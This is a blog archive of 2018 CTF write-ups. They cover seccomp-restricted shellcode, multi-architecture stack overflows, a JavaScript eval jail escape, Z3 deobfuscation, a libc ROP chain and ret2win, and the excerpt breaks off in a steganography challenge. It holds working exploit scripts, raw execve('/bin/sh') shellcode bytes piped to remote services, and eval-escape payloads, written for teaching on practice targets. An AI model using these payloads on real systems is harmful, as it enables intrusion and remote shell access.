Showing posts with label challenge. Show all posts
Showing posts with label challenge. Show all posts

Wednesday, April 25, 2018

BSidesSF CTF 2018 - Intel Coder (200)


This challenge was like a "baby's first" x86 challenge, with a couple small twists.

First if we run it we can get a segfault quickly (looks like it will just run our shellcode):

$ ./coder
[+] It's 2018, so we run everything in the cloud.
[+] And I mean everything -- even our shellcode testing service.
[+] Perhaps you'd like to test your shellcode?
[+] Please send the length of your shellcode followed by a newline.
4
[+] OK, please send the shellcode.
AAAA
[+] Setting up sandbox.
[1]    6014 segmentation fault (core dumped)  ./coder

The statement "Setting up sandbox." sounds interesting, we should probably investigate that.

Looking for this string in Binary Ninja and finding the relevant Xrefs in main we find a function right underneath the print:


This binary is stripped so we don't get a nice name for sandbox setup, we can rename sub_2200a in Binary Ninja by clicking it, hitting 'n' and typing a new symbol name, such as 'setup-sandbox'.

Looking at this function we can see what's familiar to seccomp setup. Another post covering seccomp on a binary is mute, using this as a reference we can rename the other unlabeled functions such as 'seccomp_rule_add'. It looks very similar to mute where we can look up the arguments and syscalls being passed to seccomp, but there's something slightly more complicated below:


We could analyze this manually, but it would be a lot nicer to use seccomp-tools:

$ echo '1\nA\n' | seccomp-tools dump ./coder
[+] It's 2018, so we run everything in the cloud.
[+] And I mean everything -- even our shellcode testing service.
[+] Perhaps you'd like to test your shellcode?
[+] Please send the length of your shellcode followed by a newline.
[+] OK, please send the shellcode.
[+] Setting up sandbox.
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x11 0xc000003e  if (A != ARCH_X86_64) goto 0019
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x0f 0x00 0x40000000  if (A >= 0x40000000) goto 0019
 0004: 0x15 0x0d 0x00 0x00000003  if (A == close) goto 0018
 0005: 0x15 0x0c 0x00 0x0000000f  if (A == rt_sigreturn) goto 0018
 0006: 0x15 0x0b 0x00 0x00000028  if (A == sendfile) goto 0018
 0007: 0x15 0x0a 0x00 0x0000003c  if (A == exit) goto 0018
 0008: 0x15 0x09 0x00 0x000000e7  if (A == exit_group) goto 0018
 0009: 0x15 0x00 0x09 0x00000002  if (A != open) goto 0019
 0010: 0x20 0x00 0x00 0x00000014  A = args[0] >> 32
 0011: 0x15 0x00 0x07 0x00007f35  if (A != 0x7f35) goto 0019
 0012: 0x20 0x00 0x00 0x00000010  A = args[0]
 0013: 0x15 0x00 0x05 0x5e303428  if (A != 0x5e303428) goto 0019
 0014: 0x20 0x00 0x00 0x0000001c  A = args[1] >> 32
 0015: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0019
 0016: 0x20 0x00 0x00 0x00000018  A = args[1]
 0017: 0x15 0x00 0x01 0x00000000  if (A != 0x0) goto 0019
 0018: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0019: 0x06 0x00 0x00 0x00000000  return KILL

This clearly shows us the seccomp rules are setup to allow: close, rt_sigreturn, sendfile, exit, exit_group & open.

We have your typical ORW (open/read/write) restriction, where read & write is taken care of in the syscall sendfile.

Under line 0009 we can see it expects arguments for open to be set correctly. In the binary there's a mention of './flag.txt' @ 0x2b428, this is probably the argument the seccomp rule is referring to, but we can verify this by looking in Binary Ninja.

At the bottom of the image above, we see a reference to data_245110. Clicking that takes us to the data section referencing 0x2b428, which we just found was './flag.txt':


So now we know our shellcode should have the following constraints:
  • 64 bit
  • use open with the argument './flag.txt'
  • use sendfile to read & write after open

This seems fairly simple! There's only one more catch.
We will need to get the exact address of './flag.txt' which is randomized because PIE is enabled:

$ checksec coder
[*] './coder'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
    FORTIFY:  Enabled

We can setup a very simple client to check out the state of registers once it executes our shellcode:

#!/usr/bin/env python
from pwn import *

if args.LOCAL:
  p = process(['./coder'])
else:
  p = remote('intel-coder-d95049.challenges.bsidessf.net', 8086)

context(terminal=['tmux', 'split'], bits=64, arch='amd64')
gdb.attach(p, 'stepi')

payload = '\xcc' * 10
payload = '{}\n{}\n'.format(len(payload), payload)

p.sendline(payload)
p.interactive()

Running this in a new tmux session with the LOCAL flag set, we can continue and hit the interrupt setup in the beginning of our payload:

$ python client.py LOCAL
...
[──────────────────────────────────REGISTERS──────────────────────────────────]
*RAX  0x7fc5de64f000 <— 0xcccccccccccccccc
*RBX  0x0
*RCX  0x7fc5de652fe0 <— 0
*RDX  0x7fc5de449190 <— mov    rsp, rsi
*RDI  0x7fc5de64f000 <— 0xcccccccccccccccc
*RSI  0x7fc5de652fe0 <— 0
*R8   0x7fc5df54e000 <— 0x0
*R9   0x7fc5df54e010 —▸ 0x7fc5df54e390 <— 0xd0
*R10  0x7fc5de1fb7b8 (main_arena+88) —▸ 0x7fc5df54ea10 <— 0x0
*R11  0x246
*R12  0x7fc5de4487d0 <— xor    ebp, ebp
*R13  0x7fffa312c570 <— 0x1
*R14  0x0
*R15  0x0
*RBP  0x7fffa312c490 <— 0x0
*RSP  0x7fc5de652fe0 <— 0
*RIP  0x7fc5de64f001 <— 0xcccccccccccccccc
[───────────────────────────────────DISASM────────────────────────────────────]
   0x7fc5de64f000    int3
 ► 0x7fc5de64f001    int3

The assembly instructions in RDX look very familiar from previous reversing.  Looking at the positive flow after the seccomp rules are setup, this function is called:


We can verify the next instruction of RDX is 'jmp rdi' as well:

pwndbg> x/2i 0x7fc5de449190
   0x7fc5de449190:      mov    rsp,rsi
   0x7fc5de449193:      jmp    rdi

Remember the flag was @ 0x2b428.  Subtracting this from the offset of the instruction above to get the required amount to add to RDX:

pwndbg> p/x 0x2b428 - 0x22190
$1 = 0x9298

pwndbg> x/s $rdx + 0x9298
0x7fc5de452428: "./flag.txt"

Now we can write a small amount of assembly to take care of this before we reach the open syscall:

add rdx, 0x9298
mov rax, rdx

Using shellcraft from pwntools will be very useful in this situation to generate custom shellcode:

o = pwnlib.shellcraft.open('rax', 0)
s = pwnlib.shellcraft.sendfile(1, 'rax', 0, 40)

This executes open using the address of './flag.txt' we loaded into RAX, setting the oflag to 0 or O_RDONLY for a read-only mode.  Then it executes sendfile writing to stdout (1), using the address returned from open (RAX), the offset into the string (0), and the amount of bytes to read.

Putting this all together we get a client that looks something like this:


Running this client against the CTF server, we get a flag!

$ python client.py NOPTRACE

flag:i_can_haz_shellcodez

If you'd like to read more about the coder series of binaries for BSidesSF 2018, check out @matir's excellent post! - https://systemoverlord.com/2018/04/21/bsidessf-ctf-2018-coder-series-authors-pov.html

Monday, April 23, 2018

Midnight Sun CTF Quals 2018 - Babyshells & Jeil



This CTF was a lot of fun! The style of the board and assets in the game were extremely creative and well done!

Here are the challenges from the competition:



First we're going to start with Babyshells, a simple 50pt pwn challenge. Then move onto Jeil, a 200pt pwn challenge involving a JavaScript jail.


Babyshells


Description:

If you hold a babyshell close to your ear, you can hear a stack getting smashed

Solves: 71
Service: nc 52.30.206.11 7000 (x86) | nc 52.30.206.11 7001 (ARM) | nc 52.30.206.11 7002 (MIPS)
Download: https://s3-eu-west-1.amazonaws.com/dl.midnightsunctf.se/babyshells.tar.gz
Author: likvidera

This one was a simple baby's first 90's shellcode style exploitation challenge, with the caveat that you have to exploit a binary on multiple architectures to get the flag.

Each binary would drop a part of the flag, so in order to complete the challenge, you would need to exploit all of them.

Running the x86 binary we get some nice ASCII art : ) -- It's also easy to make it crash!



Starting with dynamic analysis, cyclic will show the offset of the SIGSEGV as 40, but when using the interrupt (0xCC) we find the exact offset to be 38 (this offset will be used across all binaries in this challenge):

$ gdb ./chall
pwndbg> r <<< $(python -c 'from pwn import *; print "1\n" + cyclic(100)')
...
*EIP  0xffffce6a &lt;— 0x6161616b ('kaaa')
pwndbg> cyclic -l 0x6161616b
40

$ python -c 'from pwn import *; print "1\n" + "A"*38 + "\xcc"' | strace -i ./chall |& grep SIGTRAP
[ff81a049] --- SIGTRAP {si_signo=SIGTRAP, si_code=SI_KERNEL} ---

Now we just need some shellcode! Heading over to shell-storm we can grab a few that will work for these challenges.

Starting with one for x86, we get our first shell:

$ (python -c "from pwn import *; print '1\n' + 'A'*38 + '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'"; cat) | nc 52.30.206.11 7000
cat flag
midnight{pwn_all_the_x86_

We have our flag chunk, now let's go onto the next architecture - arm.

The organizers were nice enough to included qemu-arm with the challenge package, as well as a Docker setup to get up and running with the challenges quickly.

The same payload with shellcode specific to arm also popped a shell:

$ (python -c "from pwn import *; print '1\n' + 'A'*38 + '\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x00'"; cat) | nc 52.30.206.11 7001
cat flag
pwn_all_th3_4rm


Same story with mips (it took a while to find a working payload for this one):

(python -c "from pwn import *; print '1\n' + '\x90'*38 + '\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xf4\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf8\xaf\xa0\xff\xfc\x27\xa4\xff\xf4\x28\x05\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c'"; cat) | nc 52.30.206.11 7002
cat flag
_pWN_4ll_th3_m1p5}

All of the flag chunks together turned out to be the final flag:

midnight{pwn_all_the_x86_pwn_all_th3_4rm_pWN_4ll_th3_m1p5}


Jeil


Description:

You are awesome at breaking into stuff, how about breaking out?

Solves: 32
Service: nc web2.midnightsunctf.se 55542 | nc 34.244.177.217 55542
Download: https://s3-eu-west-1.amazonaws.com/dl.midnightsunctf.se/jeil.tar.gz
Author: avlidienbrunn


So this challenge is all about breaking out of a JavaScript jail. The source of this challenge may be found here: https://github.com/vitapluvia/writeups/blob/master/midnightSunCTF2018/jeil/jail.js_source.js.

This was the source included with the challenge, and it includes some template strings to generate a new instance of the server. To help with iteration, there's another upload including a fake flag to use during initial exploration: https://github.com/vitapluvia/writeups/blob/master/midnightSunCTF2018/jeil/jeil-example.js

An easy way to test this script out is to use Node.js.

To run it, just call the js file with Node (after installing the dependency readline):

$ npm i
$ node jeil-example.js
| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
|    Internal    |
|________|
       ||
(\__/) ||
(•ㅅ•) ||
/   づ

Code: AAAA
Unrecognized code.

readline.js:1021
            throw err;
            ^
123


With the naive input 'AAAA' as an example, we get an error thrown saying '123'. If we look in the code, this error occurs in three places:


Character black list:

if(new RegExp(/[\[\]\.\\\+\-\/;a-zA-Z{}`'"\s]/).test(code)){
  console.log("Unrecognized code.");
  throw 123;
  return;
}

Input length is not equal to 32:

if(!(code.length == 32)){
  console.log("Incorrect code length.");
  throw 123;
  return;
}

Evaluated code with "this.secretFuncUnguessable" prepended is not a function:

ret = eval("this.secretFuncUnguessable"+code);

if(typeof ret == "function"){
  if(ret.call(this,'foo', 'bar', 'baz') === true){
      console.log("FLAG{F4k3_Fl4g!!!}");
  }else{
      console.log("Incorrect code.");
  }
}else{
  console.log("Incorrect code.");
}
throw 123;


To reiterate the rules we need to pass for our payload:

  • needs to be exactly 32 bytes
  • chars must not be in regex /[\[\]\.\\\+\-\/;a-zA-Z{}`'"\s]/
  • evaluated "this.secretFuncUnguessable" + code must be a function type

The first two rules are simple to pass, the last is somewhat tricky.
If you remember from the source, "this.secretFuncUnguessable{{ENV_SECRET_0}}" is defined in the source, but we do not know ENV_SECRET_0, and we probably don't want to guess it.
Instead we can figure out how to call our own function to pass the last check.

We know that "this.secretFuncUnguessable" does not exist unless ENV_SECRET_0 is set to "".  We can use that assumption to our advantage by starting with the or operator in JavaScript.  this will return the second value (our code) if the first is undefined.  Here's a simple example:

> const foo = undefined;
> const result = foo || 'AAAA';
> result
'AAAA'

It's also easy to create a function in later versions of node without braces using the arrow function:

> () => 123
[Function]

We can create a simple function which returns true by comparing 1 against itself:

> (()=>1==1)()
true

Now we have a working payload, we just need to add some padding to make it 32 bytes:

> result = undefined || (()=>1==1)
> typeof result
'function'
> result()
true

With the padding:

||(()=>11111111111==11111111111)


There are many other variations that could be created such as:

||000000000000000000||(()=>1==1)
||00||00||00||00||00||(()=>1==1)
||(()=>1==1)||000000000000000000
||(((((((((((()=>1==1)))))))))))
||(()=>(()=>123)()==(()=>123)())
||(()=>1*1*1*1*1*1*1*1*1*1*1==1)
||(()=>0!=111111111111111111111)
||(()=>(()=>(()=>((0==0)))())())


Now if we try this against the sample server we get the fake flag!

$ echo '||(()=>11111111111==11111111111)' | node ./jeil-example.js

| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
|    Internal    |
|________|
       ||
(\__/) ||
(•ㅅ•) ||
/   づ

Code: ||(()=>11111111111==11111111111)
32
FLAG{F4k3_Fl4g!!!}


When this is run against the CTF server, we get the actual flag:

$ echo '||(()=>11111111111==11111111111)' | nc 34.244.177.217 55542

| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
|    Internal    |
|________|
       ||
(\__/) ||
(•ㅅ•) ||
/   づ

Code: midnight{f33lin_fr1sky_f0r_funky_funct10nz}

Wednesday, April 18, 2018

Byte Bandits CTF 2018 - laz3y (350)


In this challenge we're presented with a web server which contains a heavily obfuscated JavaScript file as one of it's resources.

We're going to jump into an intro of Z3 to solve parts of this challenge after some initial reversing.

If you would like to watch a better version of the topics discussed in this blog post, check out LiveOverflow's great video on "Using z3 to find a password and reverse obfuscated JavaScript" - https://www.youtube.com/watch?v=TpdDq56KH1I. It helped a lot when attempting to solve this challenge.


Reversing


Here's a snippet of the file which was beautified using the online service jsnice:

(function() {
    _0x13c3dd(this, function() {
        if (_0x15c2('0x7') === _0x15c2('0x7')) {
            var _0x42483f = new RegExp('function\x20*\x5c(\x20*\x5c)');
            var _0x43babc = new RegExp(_0x15c2('0x8'), 'i');
            var _0x53dbc9 = _0x4f7527(_0x15c2('0x4'));
            if (!_0x42483f[_0x15c2('0x5')](_0x53dbc9 + _0x15c2('0x6')) || !_0x43babc[_0x15c2('0x5')](_0x53dbc9 + 'input')) {
                if (_0x15c2('0x9') === _0x15c2('0x9')) {
                    _0x53dbc9('0');
                } else {
                    return !![];
                }
            } else {
                if ('CJMng' === _0x15c2('0xa')) {
                    _0x4f7527();
                } else {
                    return !![];
                }
            }
        } else {
            return function(_0x256bf0) {}[_0x15c2('0xb')](_0x15c2('0xc'))[_0x15c2('0xd')](_0x15c2('0xe'));
        }
    })();
}());

We can jump to potentially interesting parts of the code to find out what's going on.

One interesting part included a 'Flag{' string. This was used to build up the final flag, stored originally in a giant array of mixed snippets used for various reasons:

var _0x387a = ["GfKdJ", ... "slice", "tryingharder", "Flag{", "log", "Invalid Password", "pDsTn", "UOAuo", ... ];

There's another interesting part of the code which contains the variable 'solver' -- sounds like this may help us solve the challenge. It's also a hint mixed with the challenge title 'laz3y' referencing the Z3 SMT solver.

function solver(value) {
  if (!/[^nfTzhb_0FAiuctxlswa!]/[_0xd1e9[9]](value) &&
      value[29] == _0xd1e9[10] &&
      value[4] == value[8] &&
      value[10] == value[14] &&
      value[17] == _0xd1e9[11] &&
      value[4] == _0xd1e9[11] &&
      leng(value) &&
      crypto(value) &&
      a(value) &&
      b(value) &&
      c(value) &&
      d(value) &&
      f(value)) {
    if (_0x15c2("0x26") === _0x15c2("0x26")) {
      console[_0xd1e9[14]](_0xd1e9[12] + value + _0xd1e9[13]);
    } else {
      return !![];
    }
  } else {
    if (_0x15c2("0x27") !== "DbvWm") {
      /** @type {!Function} */
      var advancement = firstCall ? function() {
        if (fn) {
          var denies = fn[_0x15c2("0xd")](context, arguments);
          /** @type {null} */
          fn = null;
          return denies;
        }
      } : function() {
      };
      /** @type {boolean} */
      firstCall = ![];
      return advancement;
    } else {
      console[_0xd1e9[14]](_0xd1e9[15]);
    }
  }
}

Executing the script in a stub html file and looking at the following value we can see it's just a console.log pulled from one of the obscure array's:

console[_0xd1e9[14]](_0xd1e9[15]);
...
console['log']("Invalid Password");

The same is with the first condition after all the conditional checks:

console[_0xd1e9[14]](_0xd1e9[12] + value + _0xd1e9[13]);
...
console['log']("Flag{" + value + "}");


There are also a lot of false flows in this obfuscated code, so we can reduce this function to the following:

function solver(value) {
  if (!/[^nfTzhb_0FAiuctxlswa!]/.test(value) &&
    value[29] == "!" &&
    value[4] == value[8] &&
    value[17] == "_" &&
    value[4] == "_" &&
    leng(value) &&
    crypto(value) &&
    value[10] == value[14] &&
    a(value) &&
    b(value) &&
    c(value) &&
    d(value) &&
    f(value)) {
      console.log("Flag{" + value + "}");
  } else {
      console.log("Invalid Password");
  }
}

Now we need to analyze each one of these functions to make sure we can setup input to make it pass.

Starting with the interesting sounding function first 'crypto', isn't heavily related to cryptography:

function crypto(context) {
  var val = "";
  var row = context.slice(18, 29);
  var masks = [68, 16, 31, 28, 29, 4, 9, 21, 27, 84, 11, 114];

  for (var i = 0; i <= row.length; i++) {
    val += String.fromCharCode(row.charCodeAt(i) ^ masks[i]);
  }

  return val == "tryingharder";
}

Looking at this, we can tell it wants the result of "tryingharder" by xor'ing against a given mask.

Reversing this process, we'll get the expected value for part of the flag:

$ python
>>> from pwn import *
>>> masks = [68, 16, 31, 28, 29, 4, 9, 21, 27, 84, 11, 114]
>>> tryHarder = "tryingharder"
>>> ''.join([xor(tryHarder[i], masks[i]) for i in range(len(masks))])
'0bfuscati0n\x00'


Continuing with each function, we can inline any obvious values and write simple formulas for others (//X// comments represent known values to skip during the constraint solve):

190     value[29] == "!" &&           //X// payload[29]         = '!'
191     value[4] == value[8] &&       //X// 08 & 04             = '_'
192     value[17] == "_" &&           //X// payload[17]         = '_'
193     value[4] == "_" &&            //X// payload[4]          = '_'
194     leng(value) &&                //X// len(payload)       == 30
195     crypto(value) &&              //X// payload[18:29]     == 0bfuscati0n
196     value[10] == value[14] &&   // p[10] == p[14]
197     a(value) &&                 // p[3] - p[0] == 32 && p[5] - p[12] == 71
198     b(value) &&                   //X// p[12] == p[15] &&
199                                   //X// p[11] == "l" &&
200                                   //X// p[12] == "0" &&
201                                   //X// p[13] == "T" &&
202                                   //X// p[0]  == p[13]
203     c(value) &&                 // p[9] + p[6] - p[1] == 58;
204     d(value) &&                 // (p[0] * p[1] * p[2] * p[3]) / 128 === 767949;
205     f(value)) {                 // (p[5] * p[6] * p[7]) / 25 === 35581;


We only have five constraints to solve for!  With the other values, we get the following partial flag from the static analysis done so far:

T???_???_??l0T?0?_0bfuscati0n!



Z3 Solve


If you haven't heard of Z3 before, check out the Z3-Playground repo, it has some fantastic examples of how to use Z3 in general and for security related tasks.

Using the basic hello-world example from Z3-Playground we can add one constraint to see how Z3 works. We give it two variables a & b, then say a + b is equal to 1337, also b is above 20.

from z3 import *

a, b = BitVecs('a b', 32)
s = Solver()

s.add((a + b) == 1337)
s.add(b > 20)

if s.check() == sat:
    print s.model()
else:
    print 'Unsat'

Letting z3 solve for this, it will return input which satisfies these constraints:

$ python hello.py
[b = 21, a = 1316]

The values 21 and 1316 do sum to 1337, so it looks like this works!

Now we can get into solving this challenge!

Instead of using BitVecs for variables, we'll be using integer values representing characters.
Initializing the unknown flag, we use the z3 Int type:

flag = [Int(i) for i in xrange(30)]


If you remember from above, the important constraints we need to setup are:

196     value[10] == value[14] &&   // p[10] == p[14]
197     a(value) &&                 // p[3] - p[0] == 32 && p[5] - p[12] == 71
203     c(value) &&                 // p[9] + p[6] - p[1] == 58;
204     d(value) &&                 // (p[0] * p[1] * p[2] * p[3]) / 128 === 767949;
205     f(value)) {                 // (p[5] * p[6] * p[7]) / 25 === 35581;


Changing 'p' to 'flag' and wrapping a solve add around them will get us most of the way there:

s.add(flag[10] ≡ flag[14])
s.add(flag[3] - flag[0] ≡ 32)
s.add(flag[5] - flag[12] == 71)
s.add(flag[9] + flag[6] - flag[1] ≡ 58)
s.add((flag[0] * flag[1] * flag[2] * flag[3]) / 128 ≡ 767949)
s.add((flag[5] * flag[6] * flag[7]) / 25 ≡ 35581)

There are six constraints instead of five here, this is because line 197 was split into two separate constraints for readability.

We should also setup the parts of the flag we know about already:

partial = 'T???_???_??l0T?0?_0bfuscati0n!'

for x in range(len(partial)):
  if partial[x] is not '?':
    s.add(flag[x] ≡ ord(partial[x]))

And setup the flag to be within a printable range:

for x in range(0, 30):
  s.add(flag[x] >= ord('!') and flag[x] <= ord('z'))

With all of this setup, we could attempt to print the flag (converting ints to chars in the process):

if s.check() == sat:
  m = s.model()
  print 'Flag{' + ''.join([chr(m[x].as_long()) for x in flag]) + '}'
else:
  print 'Not Found.'

This yields:

Flag{That_wsA_/zl0Tz0z_0bfuscati0n!}

This is very close! But not there yet! There are a few errors to work out.
First part that seems off is the '/' character, it doesn't seem likely it would be in this flag and if it was, it wouldn't be in that position.

So for this we'll setup a constraint against it:

s.add(flag[9] != ord('/'))
...
Flag{Taht_wsA_(zl0Tz0z_0bfuscati0n!}

Now the slash character is fixed, but we have some other problems, Taht was switched, and wsA looks like the word 'was'. To fix the first word, we'll constrain the 'h' where it was:

s.add(flag[1] == ord('h'))
...
Flag{That_wAs_azl0Tz0z_0bfuscati0n!}

If we look at 'wAs_azl0T', it looks like the words 'was a lot' so there's a missing space between 'a' and 'lot', we'll add this with an underscore:

s.add(flag[10] == ord('_'))

Now when we run this we get the Flag!

Flag{That_wAs_a_l0T_0z_0bfuscati0n!}

This was the final Z3 client for the solve:

Monday, April 2, 2018

SwampCTF 2018 - Power QWORD


Resources & Description:

The darkness increases as you descend down the stone steps towards The Source. The last vestiges of soft light begin to fade and a red haze starts to permeate the air. Suddenly, as you step on to a landing a MAGE blocks the way. He says...

Connect 
nc chal1.swampctf.com 1999

-=Created By: digitalcold=-


When running this binary initially we're prompted with the following question:

$ ./power
Mage: The old books speak of a single Power QWord that grants
      its speaker a direct link to The Source.
Mage: Do you believe in such things? (yes/no):

Of Course....




Looking at the checksec report we get:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

Everything enabled + ASLR on the server! Great!

Looking at the instructions, after accepting the magic of exploitation, we see it reads a single QWORD to overwrite saved RIP.


Notice also they generously provided a leak to libc system, as reflected in the stdout:

$ ./power
Mage: The old books speak of a single Power QWord that grants
      its speaker a direct link to The Source.
Mage: Do you believe in such things? (yes/no): yes
Mage: Show me your conviction to The Source.
      Take this basis [the mage hands you 0x7fd2fc20d590]
      and speak the Power QWord:
...

So we only have one gadget to work with, what are we going to do?

Well, we could call something like gets to read more data onto the stack and return to it, so let's try that!

First let's make a client. I chose to use pwnup to record initial interactions and dump a simple python script:

#!/usr/bin/env python
from pwn import *

r = process('power')

def main():
  print(r.recvuntil('lieve in such things? (yes/no): '))
  r.send('yes\n')
  print(r.recvuntil('     and speak the Power QWord: '))
  r.send('AAAAAAAA\n')

if __name__ == "__main__":
  main()

We can refine this client to parse the libc system address and calculate the base address using the libc version provided:

#!/usr/bin/env python
from pwn import *
from pwnlib.util.safeeval import const

r = process('power')
libc = ELF('./libc.so.6')

def main():
  print(r.recvuntil(': '))
  r.send('yes\n')
  print r.recvuntil('the mage hands you')
  leak = r.recvuntil(']').lstrip(' ').rstrip(']')
  print r.recvuntil('QWord:')

  system = const(leak)
  base = system - libc.symbols['__libc_system']

  print 'base: {}'.format(hex(base))
  print 'system: {}'.format(hex(system))

  r.send('AAAAAAAA\n')

if __name__ == "__main__":
  main()

Now we can calculate the offset of _IO_gets, /bin/sh and a simple pop rdi gadget to setup the call to system (pwntools makes this all very simple):

  system = const(leak)
  base = system - libc.symbols['__libc_system']
  gets = base + libc.symbols['_IO_gets']
  binsh = base + libc.search('/bin/sh').next()
  pop_rdi = base + libc.search(asm('pop rdi; ret;')).next()

  print 'base: {}'.format(hex(base))
  print 'pop rdi: {}'.format(hex(pop_rdi))
  print 'system: {}'.format(hex(system))
  print '/bin/sh: {}'.format(hex(binsh))

Setting up the payload we get the following chain:

payload = p64(gets) + p64(pop_rdi) + p64(binsh) + p64(system)

With that, the full client looks something like this:

Running this against the server we get a shell! : )

[*] './libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to chal1.swampctf.com on port 1999: Done
Mage:
The old books speak of a single Power QWord that grants
      its speaker a direct link to The Source.
Mage: Do you believe in such things? (yes/no): Mage: Show me your conviction to The Source.
      Take this basis [the mage hands you

      and speak the Power QWord:
base: 0x7fd4f0017000
pop rdi: 0x7fd4f0038102
system: 0x7fd4f005c390
/bin/sh: 0x7fd4f01a3d57
[*] Switching to interactive mode
 $ ls -la
total 28
drwxr-x--- 1 root ctf   4096 Mar 30 15:24 .
drwxr-xr-x 1 root root  4096 Mar 26 07:15 ..
-r--r--r-- 1 root ctf     29 Mar 30 15:24 flag
-r-xr-xr-x 1 root ctf  13024 Mar 30 15:24 power
$ cat flag
flag{m4g1c_1s_4ll_ar0Und_u5}

Sunday, April 1, 2018

SwampCTF 2018 - Apprentice's Return


This was a fun little intro challenge for the CTF. It adds a twist to the classic first step for beginners in exploit development.

One of the first ideas in exploitation is to change execution to a 'WIN' function, in this case 'slayTheBeast'.

Resources & Description:

For one such as yourself, apprentice to the arts of time manipulation, you must pass this first trial with a dreadful creature.

Connect:
nc chal1.swampctf.com 1802

-=Created By: TobalJackson=-

Here's the checksec listing:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

The 'doBattle' function will read 50 bytes onto the stack then check the first gadget against 0x8048595, which refers to the leave instruction in 'doBattle':


The comparison checks the first gadget is below or equal to 0x8048595 using jbe. If this comparison passes, we get to return to our ROP chain.

Inspecting 'slayTheBeast', we can see it just cat's the flag, but the addresses are all above the previous comparison (0x8048595):


To pass the initial check, we can find a simple gadget which just returns to another gadget, almost a NOP gadget if you will. Let's look for this using ropper:

[INFO] Load gadgets from cache
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ret

[INFO] File: return
0x08048545: ret 0x2b76;
0x0804853e: ret 0x95b8;
0x0804847e: ret 0xeac1;
0x080485ea: ret 0xfffd;
0x0804835a: ret;

The last one satisfies our constraint and has a clean exit, let's use that (0x0804835a) in combination with the flag printing function (0x80485db):

$ python -c 'from pwn import *; print "A"*42 + p32(0x0804835a) + p32(0x80485db)' | ./return
As you stumble through the opening you are confronted with a nearly-immaterial horror: An Allip!  The beast lurches at you; quick! Tell me what you do:
Your actions take the Allip by surprise, causing it to falter in its attack!  You notice a weakness in the beasts form and see a glimmer of how it might be defeated.
Through expert manouvering of both body and mind, you lash out with your ethereal blade and pierce the beast's heart, slaying it.
As it shimmers and withers, you quickly remember to lean in and command it to relinquish its secret:
flag{fake_flag}
[1]    30162 done                              python -c 'from pwn import *; print "A"*42 + p32(0x0804835a) + p32(0x80485db) |
       30163 segmentation fault (core dumped)  ./return

(The fake flag was placed in the same directory before executing the exploit)

echo 'flag{fake_flag}' > flag.txt

Now we can try it against the live service:

$ python -c 'from pwn import *; print "A"*42 + p32(0x0804835a) + p32(0x80485db)' | nc chal1.swampctf.com 1802
As you stumble through the opening you are confronted with a nearly-immaterial horror: An Allip!  The beast lurches at you; quick! Tell me what you do:

Your actions take the Allip by surprise, causing it to falter in its attack!  You notice a weakness in the beasts form and see a glimmer of how it might be defeated.
Through expert manouvering of both body and mind, you lash out with your ethereal blade and pierce the beast's heart, slaying it.
As it shimmers and withers, you quickly remember to lean in and command it to relinquish its secret:
...

And we've got the flag! Fear not the ancient ROPnique:

flag{f34r_n0t_th3_4nc13n7_R0pn1qu3}

Art on top is from http://www.dungeonsanddrawings.com/

Monday, March 12, 2018

N1CTF 2018 - Lipstick


This challenge was very interesting! It included multiple types of stego and some web scraping.

We're given the image shown above. Looking very innocuous with flat colors, it seems one would try to hide lsb data in it. Let's try zsteg to extract some values:

$ zsteg -a 603fda27-2893-4e60-9d9f-39962b8c8440.png

b1,bgr,lsb,xy       .. text: "flag.txt"
b2,g,lsb,xy         .. file: 5View capture file
b2,g,msb,xy         .. file: VISX image file
b2,b,msb,xy         .. text: "UUuUUWUUUUUuUUUU"
b2,bgr,lsb,xy       .. text: "AAAP@QUDQ"
b3,b,lsb,xy         .. file: GLS_BINARY_MSB_FIRST
b4,r,lsb,xy         .. text: "UDTTUEEDDEDEUEDDTEDETDEDDEDDDDTDUEEETDUDEUDDDDDDDDDDDDUDDDDDDDDDDDDDDDDDDDD\"322\"223##\"\"\"\"\"\"\"\"\"\"\"\"#\"#\"\"\"3\"#"
b4,r,msb,xy         .. text: "333333333;"
b4,g,lsb,xy         .. file: 5View capture file
b4,g,msb,xy         .. file: VISX image file
b4,b,msb,xy         .. text: ["w" repeated 12 times]
b6,g,msb,xy         .. text: "4ES4EQ4MS4M"

Looks like one of the first hits is promising! "flag.txt", maybe we should extract that portion alone, first let's inspect it.

Passing the -v flag into zsteg, we can get the hex dump of that extraction:

zsteg -v 603fda27-2893-4e60-9d9f-39962b8c8440.png b1,bgr,lsb,xy
b1,bgr,lsb,xy       .. text: "flag.txt"
    00000000: 00 00 00 00 00 00 00 e3  50 4b 03 04 14 00 01 08  |........PK......|
    00000010: 08 00 70 42 67 4c 37 20  ff 48 4d 00 00 00 43 00  |..pBgL7 .HM...C.|
    00000020: 00 00 08 00 00 00 66 6c  61 67 2e 74 78 74 ce 98  |......flag.txt..|
    00000030: 5e 65 7a ba 27 91 a6 eb  1b 25 54 f3 b9 6d 0f ca  |^ez.'....%T..m..|
